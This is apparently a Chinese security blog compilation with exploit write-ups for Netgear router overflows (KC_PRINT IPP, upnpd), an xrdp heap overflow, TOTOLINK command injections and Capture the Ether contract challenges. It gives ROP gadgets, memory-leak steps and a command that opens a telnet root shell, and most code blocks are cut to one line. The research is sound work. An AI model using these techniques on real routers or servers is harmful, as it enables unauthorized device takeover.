[^4]: Unauthenticated Remote Code Execution in a Wide Range of DrayTek Vigor Routers (trellix.com)
前几天 sectoday 推了一个关于 NCC 研究员参加 Pwn2Own Austin 2021 比赛攻破路由器、NAS、打印机的技术细节分享
的推送。
其中有一个篇章是讲 Netgear R6700 Router 的, 恰好我上上篇分享的文章 PSV-2020-0437:Buffer-Overflow-on-Some-Netgear-Routers 所使用的路由器型号以及固件版本也在该漏洞影响范围之内。因此打算分析这个漏洞,并自己写一下这个漏洞的 exploit 。
注:
分析以及利用的路由器型号为: R6400v2 , 固件版本为:V1.0.4.102_10.0.75
通过 slide 可以得知, nccgroup 所发现的漏洞在 KC_PRINT
这个程序里,所攻击端口为 631
端口。 根据我浅薄的知识,第一反映这是一个和 IPP (Internet Printing Protocol,缩写IPP, 是一个用于通过互联网打印文件的标准网络协议) 有关的程序。 在后面的进一步分析的过程中,确实验证了我的猜想。
KC_PRINT
使用不同的线程来处理不同的功能,
而该漏洞是发生在 ipp_server
线程里面的。 其大致入口代码如下:
1 | if ( setsockopt(fd, 1, 2, &optval, 4u) < 0 ) |
然后会进入到 do_ipp_http_thread
函数里, 该函数会进一步调用一个 do_http
的函数。 该函数用来处理对应的 IPP 协议的 HTTP 请求。
1 | memset(buf, 0, sizeof(buf)); |
首先 n = recv_n(fd, buf, 1024);
接收 1024 的消息,这一部分消息以 \r\n
作为结束标识, 然后会取出 Content-Length:
的值作为 content_len
传入 do_airippWithContentLength
函数中。
在调用 do_airippWithContentLength
函数之前, 还会读取一个 8 字节长度的消息
1 | memset(recv_buf, 0, sizeof(recv_buf)); |
该 8 字节长度的消息有一定的格式, 当满足 (recv_buf[2] || recv_buf[3] != 2) && (recv_buf[2] || recv_buf[3] != 6)
条件的时候才会调用 do_airippWithContentLength
函数。
且进入到 do_airippWithContentLength
函数后, 会根据这个 8 个字节长度的消息, 来决定进一步调用哪个函数。
1 | int __fastcall do_airippWithContentLength(int *a1, size_t content_len, const void *buf) |
例如此处, 如果我们想调用 Response_Get_Jobs
函数, 我们就得进一步满足 recv_buf[2] || recv_buf[3] == 10
的条件, 才能进到 Response_Get_Jobs
函数里。因此我们可以构造如下的消息:
b'\x00\x00\x00\x0a\x00\x00\x99\x99'
让其满足下标为 3 的时候 为 10
即可。
另外, 在 do_http
函数中有一个 if ( !is_printer_connected(usblp_index) ) // 检查是否有打印机设备挂载
的判断,该函数会读取 /proc/printer_status
的内容来判断是否有打印机挂载。
1 | if ( printer_status ) |
这里我没有挂载打印机,因此我通过 gdb 来绕过这个判断。
此时已经进到 do_airippWithContentLength
函数, 该函数会进一步根据 content-len - 8
读取后续的更多消息内容。而这个 content-len
是没有进行长度检查的,这里以 Response_Get_Jobs
函数为例, 来做进一步的分析。
在 Response_Get_Jobs
中:
1 | flag1 = 0; |
存在一个缓冲区溢出:
1 | if ( flag2 ) |
此处的 copy_len
是完全可控的, 且 buf_2048
在栈上, 我们只需让 flag1
不等于1 , flag2
等于 1 ,就能进入到这个分支, 即满足 *recv_buf == 1 && !recv_buf[1]
且 recv_buf[offset] == 0x44
条件即可。
该程序保护都没有开启
1 | pwndbg> checksec |
既没有 canary
也没有 PIE
, 这极大的方便了我们的漏洞利用。
系统随机化开启情况:
1 | # cat /proc/sys/kernel/randomize_va_space |
ASLR
等级为 1, 即栈和共享库是完全随机的, 但是堆的分配不随机。
我们的目的是通过这个栈溢出漏洞, 来达到任意命令执行的目的。我们检索这个程序,发现程序里并没有现成的 system
或者 popen
函数,因此 ret2system
的方法并不能直接使用, 因此我们需要绕过随机化,需要泄漏 uclibc
中的 system
地址, 因此首先需要一个信息泄漏的方法,来 leak uclibc
的加载基址。
其实一般这种思路, 我们可以通过 ROP , 调用 write
等函数读取 got
表中的值来做 uclibc
的地址。 但是这个方法我们可能需要知道我们当前链接的 fd
。如果不知道 fd
, 我们可能需要爆破这个, 但由于这个程序是多线程而不是父子进程的形式, 如果失败可能会造成 crash。
进一步分析函数, 以及阅读 slide ,我们发现程序中有一个可以做任意地址读写的方法。
我们可以通过栈溢出, 来覆盖 prefix_ptr
和 prefix_size
通过控制这两个变量,我们就可以通 write_ipp_response
将我们想读取的内容发送回来。
1 | char command[64]; // [sp+24h] [bp-1090h] BYREF |
最首先的想法肯定是通过覆盖 prefix_ptr
指向 .got
来做读写, 但是如果我们直接的指向了函数的 .got
, 例如 strcpy_ptr
1 | .got:000180F0 strcpy_ptr DCD __imp_strcpy ; DATA XREF: strcpy+8 |
但是在调用 write_ipp_response
后, 程序会 free(prefix_ptr);
1 | v10 = write_ipp_response(client_sock, final_ptr, response_len); |
如果是直接控制 prefix_ptr == 000180F0
, 在 free
的过程中会造成崩溃。 最后我们发现当把 prefix_ptr
指向 .got
的开头
1 | .got:000180E4 ; sub_8C0C+8↑o ... |
即将 prefix_ptr
指向 000180E4
是不会崩溃的。
这里和 小伙伴 @aobo @leomxxj 讨论来下 , 猜测应该是如果是 free(0x000180EC) , 当 uclibc 会对 libc 的地址写, 造成 crash
如果 free(0x00180E4)pwndbg> telescope 0x000180E4
00:0000│ 0x180e4 —▸ 0x1800c ◂— 0x1
01:0004│ 0x180e8 —▸ 0x40024030 ◂— 0x0
pwndbg> vmmap 0x1800c
LEGEND: STACK | HEAP | CODE | DATA | RWX | RODATA
0x18000 0x19000 rw-p 1000 10000 /usr/bin/KC_PRINT +0xc
0x1800c 地址是可读写的
另外在编写这部分 exploit 的时候, 我们发现处理 recv_buf
消息的时候
1 | if ( !flag1 ) |
这部分是一个 while
循环,只有当消息为 \x03
的时候, 才会结束循环, 因此我们需要 offset
设置好,
1 | offset += copy_len; |
结束循环到 write_ipp_response
函数之前 ,我们还需要过两个地方, 第一个处, 为了方便我们在 command
前设置一个 job-id
1 | offset += 2; // offset 14 |
第二处 final_ptr = malloc(++final_size);
1 | LABEL_54: |
我们得让 final_size
的值不能太大,不然分配不出来程序就不会走到 write_ipp_response
里,
1 | .text:00010D78 loc_10D78 ; CODE XREF: Response_Get_Jobs+868↑j |
即需要设置 [R11, #-0x18]
的值, 这是在栈上的。 最后我 leak 的代码大致如下:
1 | def leak_uclibc(): |
Leak:
1 | $ python3 exp_ncc_netgear_ipp.py |
通过泄漏 uclibc 的地址, 然后可以计算 system
的地址。 然后我们就可以进一步做劫持返回地址工作。首先我们需要有个一个地址来存储我们 system
将执行的字符串。 回顾上文, 我们提及到了系统的随机化等级为 1
。
系统随机化开启情况:
1 | # cat /proc/sys/kernel/randomize_va_space |
因此我们可以在堆上查找是否有可控的内容, 通过 hexdump
查找。
我们发现我们的 payload 会存储在 堆上, 因此 , 我们可以将要执行的命令, 在第一次链接的时候 , 就将命令写入。
1 | cmd = b'/bin/utelnetd -p 3343 -l /bin/ash \x00' |
在覆盖返回地址之前 , 除了在 leak 需要注意的那几个变量以外 ,我们还需要单独注意
等变量的值, 要单独重新赋值。
最后我们需要将 R0
的值指向堆上的 0x1b880
地址。 所以我们需要单独几个 gadget
, 这里我使用的是两个 gadget
。
首先通过第一个 gadget
控制 R3
为 0x1b880
1 | 0x00001504 : pop {r3, r4, fp, pc} |
然后通过 第二个 gadget
将 R3
的值赋值给 R0
并且控制 PC 跳转到 system
函数上,从而完成任意命令执行。
1 | 0x00000a80 : mov r0, r3 ; pop {fp, pc} |
最后就可以完成任意命令执行了。
今年与0x300R的小伙伴参与了 2022 QWB Final , 在这次比赛中我和小伙伴们 解决了不少 RW 题目, 而我本人参与的一共有三道路由器题、一道 RDP 提权 、 一道 VPN 题目。在此我简单记述下其中的路由器题以及 RDP 题目, 而 VPN 题目涉及一些别的事情,就不方便公开。
题目要求我们攻击 XRDP 然后进行本地提权的效果 , 获取ubuntu操作系统root权限, 并在/目录成功写入内容包含队伍特征的flag文件。
程序版本:
1 |
|
该版本受到 CVE-2022-23613
影响
补丁代码: https://github.com/neutrinolabs/xrdp/commit/4def30ab8ea445cdc06832a44c3ec40a506a0ffa
1 | static int |
通过分析补丁,我们知道
1 | //https://github.com/neutrinolabs/xrdp/blob/934a91fc29c048acff74db911aed60ba67f9ff79/sesman/sesman.c#L282 |
这里被加了检查的 size
会被赋值到 self->header_size
中, 如果我们将 size
即 self->header_size
设置成一个0x80000000
,
1 | ```c |
造成缓冲区溢出:
因此我们尝试构造如下 PoC:
1 | import socket |
并在对应的地方下断点, 在调试器中可以看到:
r8d
为 self->header_size
0x80000000,
read_so_far为
0x9` ,
相减完后是个负数,在拷贝的时候会发生 heap overflow
出题人修改了 MAX_SHORT_LIVED_CONNECTIONS
1 | diff --git a/sesman/sesman.c b/sesman/sesman.c |
因此我们可以通过堆喷,覆盖结构体指针来达到控制 PC 的目的, 通过代码阅读,我们发现:
1 | struct trans * |
我们可以通过使用 trans_create
函数来做堆喷。且分配出来的 trans *self
对象拥有函数指针,我们只需覆盖 self->trans_recv
就能控制 PC。另外程序没有开启 PIE, 且程序本身有 g_execlp3
之类的执行代码的函,题目又只要求本地提权即可,所以利用思路比较清晰。
self->trans_recv
为 g_execlp3
, 且控制 RDI
为我们执行的命令 (要绝对路径)self->trans_recv
执行任意命令题目描述:生死竞速,本题分为三题,需要选手从三个不同路径(不同路径指从三个不同实际产生命令注入、破坏堆栈结构等内容)实现对TOTOLINK的攻击。
这其实是一个路由器题目, 主办方要求我们通过三个不同的路径攻破该路由器, 即需要使用到三个不同的漏洞。 固件版本为: X5000R_固件_V9.1.0u.6118_B20201102
通过网上查阅资料, 我们发现该款路由器拥有许多的 CVE 编号, 并且题目的这个版本是受到影响的。这里简单分析下我们用到的三个漏洞
1 | .data:0044A520 aSettraceroutec:.ascii "setTracerouteCfg"<0> |
在cstecgi.cgi中的setTracerouteCfg
接口会调用 sub_41F6A0
函数
1 | int __fastcall sub_41F7E8(int a1) |
此处的 ip
参数可控,存在命令注入。
在cstecgi.cgi中的函数 sub_41F6A0
, 即 setTracerouteCfg
接口有如下代码
1 | { |
其中 command
参数可控, 存在命令注入。
在cstecgi.cgi中的 setWanCfg
接口中 , 即 sub_4212CC
函数里,有如下代码片断:
1 | default: |
其中, hostname
可被用户控制, 存在命令注入。
CVE-2021-27710 totolink command inject
距离上一篇 Blog 更新已经快两个月了,想了想应该给长草的 Blog 除除草了。于是从我的笔记文档里翻了一下, 把这个漏洞翻出来给大家分享分享。具体官方通告可以参考:
当时我的利用是在 Netgear R6400v2 固件版本为 1.0.4.102 的环境下编写的 ,因此本篇文章也以此为基础进行讲述。
固件下载链接: 【2】R6400v2-1.0.4.102 固件
当我们获取固件后,我们需要从中解压出文件系统 , 这里我通过 binwalk 和 unsquashfs 成功提取出对应的固件
1 | # swing @ swingdeiMac in ~/Downloads/PSV-2020-0437 [16:43:07] |
1 | # root @ docker-desktop in /workhub/Downloads/PSV-2020-0437/_R6400v2-V1.0.4.102_10.0.75.chk.extracted [8:44:40] |
众所周知 UPNP相关的程序在路由器上是经常出现漏洞的。这次也不例外, PSV-2020-0437 的漏洞也是出现在 UPNP 的相关处理代码中。我们从刚解压出来的文件系统中提取出 upnpd 程序, 然后我们用 ida pro 打开。
我们通过对 recvfrom
交叉引用, 找到程序的入口, 可以看该程序一开始可读入大小为 0x1fff 。
然后我们跟着数据流, 即 inputBuf
,我们看到程序会调用 ssdp_http_method_check
函数
该函数会对输入的数据进行部分解析,例如 M-SEARCH
、ssdp:discover
等关键词, 本次的漏洞是在 sub_22D20
函数中发生的, 我们点进去查看下这个函数。
通过阅读上面的代码, 我们会发现该函数在
1 | strncpy((char *)v6, (const char *)(MXstart + 3), end - (MXstart + 3)); |
使用 strncpy
的时候,拷贝的长度计算上处理不当,会在此处产生栈溢出。
由于当时手头没有 RV6400v2 的设备, 因此我采取使用 qemu-user 进行模拟的方案。
具体几个踩坑以及解决方案如下:
/dev/nvram: No such file or directory
由于 netgear 使用到了 NVRAM , 因此我们需要 hook 下 NVRAM 相关的函数, 这里我用的一个网上编译好的实现 :【3】 Shared Library to intercept nvram
找不到 dlsym 的符号。之所以会用到 dlsym,是因为该库的实现者还同时 hook 了 system、fopen、open 等函数
/lib/libdl.so.0
导出了该符号,所以 LD_PRELOAD 的时候把这个也加上
1 | # cat tmp/nvram.ini |
1 | mount -t proc /proc ./squashfs-root/proc |
到这我们就基本利用正常运行 upnpd 程序了。
1 | # root @ server in /home/squashfs-root [19:32:11] |
PS: 操作的过程没有看到 qemu, 那是因为我系统有 qemu binfmt 的支持。
由于漏洞的根本原因是 strncpy
的缓冲区溢出, 我们知道 strncpy
函数在溢出的时候会存在 \x00
截断。然而程序每次不同链接使用的是同一块内存, 我们可以在第一次 recvfrom
的时候在栈上布局好 rop, 然后通过栈迁移跳转到布局好的 rop 上。
整体思路可以参考 【4】SSD Advisory - Netgear Nighthawk R8300 upnpd PreAuth RCE - SSD Secure Disclosure (ssd-disclosure.com)
明确了思路我们就需要开始构造 rop, 找齐所需的 gadget 。
通过查看 sub_22D20
函数返回的地方汇编可知, 栈溢出后,我们可控的寄存器为 R4、R5、R6、PC
1 | loc_22DB8 |
其中 PC
寄存器为需要的栈迁移 gadget
1 | ropper -f usr/sbin/upnpd --search "add sp, sp" |
这里我选择了这条 gadget, 将栈迁移到 SP+0x800
的位置, 另外通过这条 gadget 我可以接着控制 R4、R5、R6、PC
四个寄存器
1 | .text:00011B90 ADD SP, SP, #0x800 |
另外最终我期望通过调用 system
函数执行任意命令, 因此我需要在 bss 这样全局的地址上写入命令, 因此我需要找对应可以往任意地址写入值的 gadget 。 在 arm 的汇编中,写入值的汇编指令为 str
1 | $ ropper -f usr/sbin/upnpd --search "str r?" |
对于这样的需求,我从这些 gadget 中选取了 0x0002dd4c: str r6, [r5]; pop {r3, r4, r5, r6, r7, pc};
这条指令, 通过控制 r5、 r6 寄存器,我们可以将任意值从r6 写到 r5 所指向到地址中。然后我通过 for 循环就可以构造出将任意字符串,写到任意地址中的 rop 链
1 | def build_rop(cmd): |
最后呢,在找一条 mov r0, r?, bl system
这样的gadget, 将为可控的 R3
到 R7
寄存器中的一个覆写成刚刚写入了命令的地址,然后将值 mov 到 r0
寄存器上。 因为 arm 到参数传递是由寄存器传递的,通过控制 r0
寄存器, 我们就可以控制 system
执行任意命令。
这里了使用的是:
1 | .text:0002704C MOV R0, R4 ; command |
找齐所有的gadget ,并且将 rop 链布置到 SP+0x800
的位置, 因此第一次链接到代码如下:
1 | # write cmd to bss |
然后第二次链接,为只需劫持返回地址到 stack pivot 的地址上即可
1 | #.text:00011B90 ADD SP, SP, #0x800 |
所以最后的 exploit为如下:
1 | from pwn import * |
【1】 PSV-2020-0437 官方公告
【2】 R6400v2-1.0.4.102 固件
【3】 Shared Library to intercept nvram
【4】 SSD Advisory - Netgear Nighthawk R8300 upnpd PreAuth RCE - SSD
Capture the Ether - Challenges
题目描述:
To complete this challenge, you need to:
After you’ve done that, press the red button on the left to deploy the challenge contract.
You don’t need to do anything with the contract once it’s deployed. Just click the “Check Solution” button to verify that you deployed successfully.
1 | pragma solidity ^0.4.21; |
解题
安装完 MetaMask
后, 开启测试网络。
获取代币: 通常 MetaMask
切换到 Ropsten 测试网络后, 点击购买, 可以看到一个 测试水管
,可以从一个水龙头获取代币
水龙头: https://faucet.metamask.io/
但是这个水龙头我获取不到代币,最后用了 @iczc 的水龙头获取的: ETH Testnet Faucet (chainflag.org)
题目描述
To complete this challenge, all you need to do is call a function.
The “Begin Challenge” button will deploy the following contract:
1 | pragma solidity ^0.4.21; |
Call the function named callme
and then click the “Check Solution” button.
Enjoy this inspirational music while you work: Call On Me.
解题
题目要让我们部署合约后,调用 callme
这个函数,意思让我们尝试与部署后的合约进行交互。
2. 安装 remix-ide 编辑器,或者使用在线的: Remix - Ethereum IDE
部署题目合约用来交互调用 challenge 的 callme 函数
部署方法如下
在文件编辑器中, contracts 文件中新建 callme.sol
, 内容如下
1 | pragma solidity ^0.4.21; |
转到编译界面,设置编译器版本,然后选择下方的编译
选择 injected web3
, 点击部署, 填入 At address
, 然后就能调用对应公开方法
这里有一个需要注意的地方,调用 callme 的时候记得看清楚调用的合约地址, 像图中这个地方其实调用的方法不对。应该在下面还有一个callme
题目描述
WARMUP: 200 POINTS
It’s time to set your Capture the Ether nickname! This nickname is how you’ll show up on the leaderboard.
The CaptureTheEther
smart contract keeps track of a nickname for every player. To complete this challenge, set your nickname to a non-empty string. The smart contract is running on the Ropsten test network at the address 0x71c46Ed333C35e4E6c62D32dc7C8F00D125b4fee
.
Here’s the code for this challenge:
1 | pragma solidity ^0.4.21; |
Enjoy this inspirational music while you work: Say My Name.
解题
题目要求我们设置我们的 nickname
, 调用 setNickName
方法即可, 但是这里函数传入的类型为 bytes32
, 所以我们需要将我们的我们的 nickname 转为 bytes32
, 我这里使用在线的网站进行转换
String To Bytes32 Online Converter (testcoins.io)
转完之后, 在 remix-ide 中调用 setNickName
方法
题目描述
I’m thinking of a number. All you have to do is guess it.
1 | pragma solidity ^0.4.21; |
Enjoy this inspirational music while you work: Guessing Games.
解题
让我猜 answer
的值是多少, 如果猜对则 tansfer
, 代码里的 answer
是写死的 42 ,那么猜 42 即可 。然后代码中要求 msg.value
要求要一个 1 ether
题目描述:
Putting the answer in the code makes things a little too easy.
This time I’ve only stored the hash of the number. Good luck reversing a cryptographic hash!
1 | pragma solidity ^0.4.21; |
Enjoy this inspirational music while you work: Mr. Roboto.
解题
要求 keccak256(n) == 0xdb81b4d58595fbbbb592d3661a34cdca14d7ab379441400cbfa1b78bc447c365
, n 为用户输入,且 msg.value == 1 ether
n 的值为 uint 8 , 则范围为 0 - 256, 写一个脚本爆破下,爆破脚本如下:
1 | from web3 import Web3 |
solidity 脚本参考 @0x9k PDF
1 | pragma solidity ^0.4.21; |
PS: 遇到了一个 Python3 Cryptodome 库的 keccak256 和 solidity 跑出来结果不一致的问题
Python and Solidity keccak256 function gives different results
参考文档
Web3 API — Web3.py 5.28.0 documentation (web3py.readthedocs.io)
题目描述:
This time the number is generated based on a couple fairly random sources.
1 | pragma solidity ^0.4.21; |
Enjoy this inspirational music while you work: The Random Song.
解题
该题与上一个题的区别是, 这个题目的 answer 由 uint8(keccak256(block.blockhash(block.number - 1), now));
计算而得。搜了下相关 api , 这个代码版本为 0.4.21 :
block.blockhash()
is now blockhash()
hash of the given block when blocknumber
is one of the 256 most recent blocks; otherwise returns zeronow
is block.timestamp
: current block numberblock.number
(uint
): current block number由于合约的内容都是公开的,因此我们可以在合约对应的 stroge
里找到 number。 这里有几种方案
我这里使用 web3 写一个交互脚本,由于web3.py 因为自身不会作为一个区块链的节点存在,因此它需要有一个节点用来存取区块链上的资料。一般来说最安全的方式应该是自己使用 geth 或者 parity 来自建节点,不过如果在不想要自建节点的状况时,可以考虑看看 infura 提供的 HTTP 节点服务。
我这里到 Infura 注册一个账号, 然后获取对应的 API Key
脚本内容如下:
1 | from web3 import Web3 |
参考资料
web3.eth API — Web3.py 5.28.0 documentation (web3py.readthedocs.io)
Capture Ether: Guess the Random Number on a Smart Contract | by Tomás | Better Programming
Let’s Play — Capture the Ether : Lotteries (Part I) | by Forest Fang | Medium
通过 web3.py 用 Python 存取 Ethereum-51CTO.COM
题目描述:
The number is now generated on-demand when a guess is made.
1 | pragma solidity ^0.4.21; |
Enjoy this inspirational music while you work: I Guess It’s Christmas Time.
题解:
这个题目的随机数是在 guess 函数调用的时候生成的。 即题目描述中 的 generated on-demand when a guess is made , 因此我们没法直接获取改随机值。仔细阅读代码我们发现, answer
由代码 uint8(keccak256( block.blockhash(block.number - 1), now));
生成 。通过查阅相关资料我们发现:
block.blockhash(block.number-1)
有一些合约则基于负一高度区块区块哈希来产生伪随机数,这也是有缺陷的。攻击合约只要以相同代码执行,即可以产生到同样的伪随机数。
示例:< https://etherscan.io/address/0xF767fCA8e65d03fE16D4e38810f5E5376c3372A8>
1 //Generate random number between 0 & maxuint256 constant private FACTOR = 1157920892373161954235709850086879078532699846656405640394575840079131296399;function rand(uint max) constant private returns (uint256 result){ uint256 factor = FACTOR * 100 / max; uint256 lastBlockNumber = block.number - 1; uint256 hashVal = uint256(block.blockhash(lastBlockNumber)); return uint256((uint256(hashVal) / factor)) % max;}
因此我们只需要写一个中继合约,通过中继合约调用目标合约的相关函数,即可。中继合约需要用到 Interfaces) 利用代码如下
1 | pragma solidity ^0.4.21; |
在 remix 中部署该合约代码, 并调用 solve
函数
参考资料
以太坊智能合约中随机数预测 - FreeBuf网络安全行业门户
Let’s Play — Capture the Ether : Lotteries (Part II)
题目描述:
This time, you have to lock in your guess before the random number is generated. To give you a sporting chance, there are only ten possible answers.
Note that it is indeed possible to solve this challenge without losing any ether.
1 | pragma solidity ^0.4.21; |
解题:
, 题目要求先通过 lockInGuess
下注, 然后调用 settle
开奖。 由于
1 | require(block.number > settlementBlockNumber); |
这部分代码的存在,我们无法直接通过预测来解决这个题目。 但是由于 answer
范围为 0 - 9, 我们可以先 lock 一个值, 然后当觉得时机合适的,即 answer == uint8(keccak256(block.blockhash(block.number - 1), now)) % 10;
的时候,我们再调用 settle
。
settle
, 在合约中调用 settle 前要判断下是否时机符合isComplete
已经被调用后, 就退出脚本PS: 编写 web3 python3 脚本所需要的 API JSON 可在 Remix 中导出。
code:
1 | pragma solidity ^0.4.21; |
题目描述:
Guessing an 8-bit number is apparently too easy. This time, you need to predict the entire 256-bit block hash for a future block.
1 | pragma solidity ^0.4.21; |
Enjoy this inspirational music while you work: Get Lucky.
解题:
根据黄皮书对 BLOCKHASH
的定义:只能获取最近 256 个区块的哈希,超出时返回 0
所以我们可以先猜 0 的 hash, 然后等他超过 256 个区块,再来开奖。 可以用 python3 web3直接实现利用。
1 | from web3 import Web3 ,HTTPProvider |
题目描述:
This token contract allows you to buy and sell tokens at an even exchange rate of 1 token per ether.
The contract starts off with a balance of 1 ether. See if you can take some of that away.
1 | pragma solidity ^0.4.21; |
Enjoy this inspirational music while you work: Sale Sail.
解题:
buy
函数中的乘法存在溢出, 因此我们可以低买高卖 。 此处的msg.value是以ether为单位,因为一个PRICE_PRE_TOKEN就是1 ether,这里我们需要明白在以太坊里最小的单位是wei,所以此处的1 ether事实上也就是10^18 wei,即其值的大小为10^18 wei,这样就满足我们溢出的条件了,因为以太坊处理数据是以256位为单位,我们传入一个较大的numTokens,乘法运算溢出后所需的mag.value就非常小了, 直接利用 Python 脚本解决这个题目。
1 |
|
题目描述:
This ERC20-compatible token is hard to acquire. There’s a fixed supply of 1,000 tokens, all of which are yours to start with.
Find a way to accumulate at least 1,000,000 tokens to solve this challenge.
1 | pragma solidity ^0.4.21; |
Enjoy this inspirational music while you work: Tough Decisions.
解题:
初始账户有 1000 个token, 题目要求我们获取到 1000000 token 。 主要交易函数有两个: transfer
以及transferFrom
, 这两个函数最后都调用了 _transfer
。通过简单审计我们发现, _transfer
中的 balanceOf[msg.sender] -= value;
是存在溢出的 。 另外我们注意到 transferFrom
进行了大小检, 但是检查的是 balanceOf[from] >= value
, 但实际扣款的是 msg.sender , 因此此处存在漏洞风险。
利用思路:
transfer
向新建的账户转 balance, 多转点, 让新账户的 balance 多于主账户的即可approve
设置 allowance
, spender
为主账户,value
为大于后面要转的值即可 ,例如设置为 1000transferFrom
函数 from
设置为账号 2, to
设置为非主账户即可, 转入一个值让其溢出即可。 1 | from web3 import Web3 ,HTTPProvider |
题目描述:
This retirement fund is what economists call a commitment device. I’m trying to make sure I hold on to 1 ether for retirement.
I’ve committed 1 ether to the contract below, and I won’t withdraw it until 10 years have passed. If I do withdraw early, 10% of my ether goes to the beneficiary
(you!).
I really don’t want you to have 0.1 of my ether, so I’m resolved to leave those funds alone until 10 years from now. Good luck!
1 | pragma solidity ^0.4.21; |
Enjoy this inspirational music while you work: Smooth Criminal.
解题:
题目设置了一个十年后才能取出 eth 的合约, 要求我们提前取出所有的 Balance 。重点在 collectPenalty
函数上。
如果我们能使得 withdrawn > 0
成立, 则可以取出所有的恶 balance , 我们会注意到 startBalance - address(this).balance
存在溢出, 但是条件得是 startBalance
小于 address(this).balance
。
这里涉及到一个知识点:
SELFDESTRUCT
函数可以强制发送 ETH:
SELFDESTRUCT
是一个自毁函数,当你调用它的时候,它会使该合约无效化并删除该地址的字节码,然后它会把合约里剩余的balance发送给参数所指定的地址,比较特殊的是这笔ether的发送将无视合约的fallback函数,所以它是强制性的 。
攻击合约代码:
1 | pragma solidity ^0.4.21; |
最后调用 collectPenalty
函数即可。
题目描述:
MATH: 750 POINTS
Who needs mapping
s? I’ve created a contract that can store key/value pairs using just an array.
1 | pragma solidity ^0.4.21; |
Enjoy this inspirational music while you work: Map To My Heart.
解题:
题目设置了 一个 map , 我们可以对 map 进行操作, 要求将 isComplete
设置为 True 即可。 感觉就是溢出 map 的空间,覆盖到 isComplete
的位置即可。
通过了解,我们可以知道动态数组,其在声明中所在位置决定的存储位里存放的是其长度,而其中的变量的存储位则是基于其长度所在的存储进行,这部分的详细内容可以参见此处一篇翻译文章了解以太坊智能合约存储
solidity的storage slot存储
1 |
|
动态数组内变量所在的存储位的计算公式即为
keccak256(slot) + index
map.length = key + 1;
当map.length溢出会回绕到slot 0 即可完成isComplete的覆盖
1 | >>> a = binascii.unhexlify('%064x' % 1) |
则在 35707666377435648211887908874984608119992236509074197713628505308453184860938
位置设置为 1 即可。
题目描述:
A candidate you don’t like is accepting campaign contributions via the smart contract below.
To complete this challenge, steal the candidate’s ether.
1 | pragma solidity ^0.4.21; |
Enjoy this inspirational music while you work: Space Force.
解题:
这也是一个变量覆盖题目。 Struct在函数内非显式地初始化的时候会使用storage存储而不是memory。具体讲就是 donate()
中 donation
定义时未指定引用,默认指向 slot0 。 因此我们可覆盖solt 0和slot 1处1存储的状态变量,恰好solt 1存储的即为owner
1 | Donation donation; |
我们需要将 owner 覆盖为我们的账户, 然后将 balance 取出。
攻击: 设置 value 满足要求,即 address // 10**36
, 设置 etherAmount 的值为我的地址
攻击后:
这样我就可以将 balance 全部取出了。
题目描述:
This contract locks away ether. The initial ether is locked away until 50 years has passed, and subsequent contributions are locked until even later.
All you have to do to complete this challenge is wait 50 years and withdraw the ether. If you’re not that patient, you’ll need to combine several techniques to hack this contract.
1 | pragma solidity ^0.4.21; |
Enjoy this inspirational music while you work: 100 Years. I guess just listen to half of it.
解题:
通过前面几天题,我可以知道以下暂时可以得到信息:
函数里使用了storage存储来初始化一个contribution结构体, 因此我们可以覆盖 queue 的长度以及 head 的值。
msg.value覆盖slot(0) -> queue.length timestamp覆盖slot(1) -> head
溢出漏洞: require(timestamp >= queue[queue.length - 1].unlockTimestamp + 1 days);
queue 的长度可控, 动态数组queue 的变量所在的存储位计算规则为 keccak256(slot) + index * elementsize
, elementsize
即为结构体Contribution的size
利用思路:
启动合约,此时 queue.length =1, head = 0
调用 upsert(1, 2**256-24*60*60)
通过溢出绕过 require(timestamp >= queue[queue.length - 1].unlockTimestamp + 1 days);
检查,即 2**256 + 24 * 60 * 60 = 0;
此时 queue.length = 1 & head = 2*256-2460*60
再调用一次 upsert(2, 0) , 调用后, queue.length = 2 & head = 0
最后取出所有 balance withdraw(2)
step1:
step: 2
然后在执行withraw 的时候发现失败了,通过调试以及查阅资料发现:
1 | contribution的amount值并不是我们传递的msg.value的值,在其基础上还加了1.开始我也不太明白,后来debug发现原来queue.length也是msg.value+1,因为二者共用一块存储,应该是queue.length增加时也修改了amount的值,至于此处queue.length为何+1,则是因为queue.push操作,因为其在最后执行增添对象的任务,添加以后它会将queue.length进行+1操作 |
参考资料:
capture the ether write up(warmup and Math) - 安全客,安全资讯平台 (anquanke.com)
题目描述:
This contract can only be used by me (smarx). I don’t trust myself to remember my private key, so I’ve made it so whatever address I’m using in the future will work:
name
.badc0de
.To complete this challenge, steal my identity!
1 | pragma solidity ^0.4.21; |
Enjoy this inspirational music while you work: Research Me Obsessively.
解题:
题目要求:
IName(addr).name() == bytes32("smarx");
badc0de
通过查阅资料可以知道:
参考黄皮书公式(81),部署合约时,目标地址有两种计算方式,分别为 CREATE
和 CREATE2
我们通过 CREATE2
爆破salt计算合约地址,包含badc0de即可
1 | pragma solidity ^0.5.12; |
部署上述合约并获取合约地址:
1 | pragma solidity ^0.4.21; |
1 | { |
1 | import random |
通过计算出来的合约攻击目标地址
题目描述:
Recall that an address is the last 20 bytes of the keccak-256 hash of the address’s public key.
To complete this challenge, find the public key for the owner
‘s account.
1 | pragma solidity ^0.4.21; |
Enjoy this inspirational music while you work: Public Key Infrastructure.
解题:
题目提供我们一个合约的地址,要求我们得到该地址的公钥。 这里涉及到以太坊的交易签名算法。当我们知道 r、s、v 和 hash时我们可以恢复出公钥。
R 、S、V 可以通过如下方法获得, 首先找到由这个账户发起的交易,然后通过脚本计算, 完整脚本如下:
1 | const ethers = require("ethers"); |
参考链接:
签名与校验 :: 以太坊技术与实现 (learnblockchain.cn)
题目描述:
To complete this challenge, send a transaction from the owner
‘s account.
1 | pragma solidity ^0.4.21; |
Enjoy this inspirational music while you work: Pinky and The Brain Intro.
解题:
题目要求我们获取账户私钥
找到该账户的所有交易,发现有两笔交易使用了同样的 r
解题脚本如下::
1 | # -*-coding:utf-8-*- |
然后用这个账户调用 authenticate
函数即可:
参考链接:
题目描述:
To complete this challenge, become the owner
.
1 | pragma solidity ^0.4.21; |
Enjoy this inspirational music while you work: Owner Of A Lonely Heart.
解题:
构造函数存在拼写错误 , 导致合约部署的时候这个函数没有运行。
1 | AssumeOwnershipChallenge |
因此我们可以直接调用 AssumeOwmershipChallenge
函数设置 owner
题目描述:
I created a token bank. It allows anyone to deposit tokens by transferring them to the bank and then to withdraw those tokens later. It uses ERC 223 to accept the incoming tokens.
The bank deploys a token called “Simple ERC223 Token” and assigns half the tokens to me and half to you. You win this challenge if you can empty the bank.
1 | pragma solidity ^0.4.21; |
Enjoy this inspirational music while you work: A British Bank.
解题:
题目要求我们将 Bank 的余额清零。
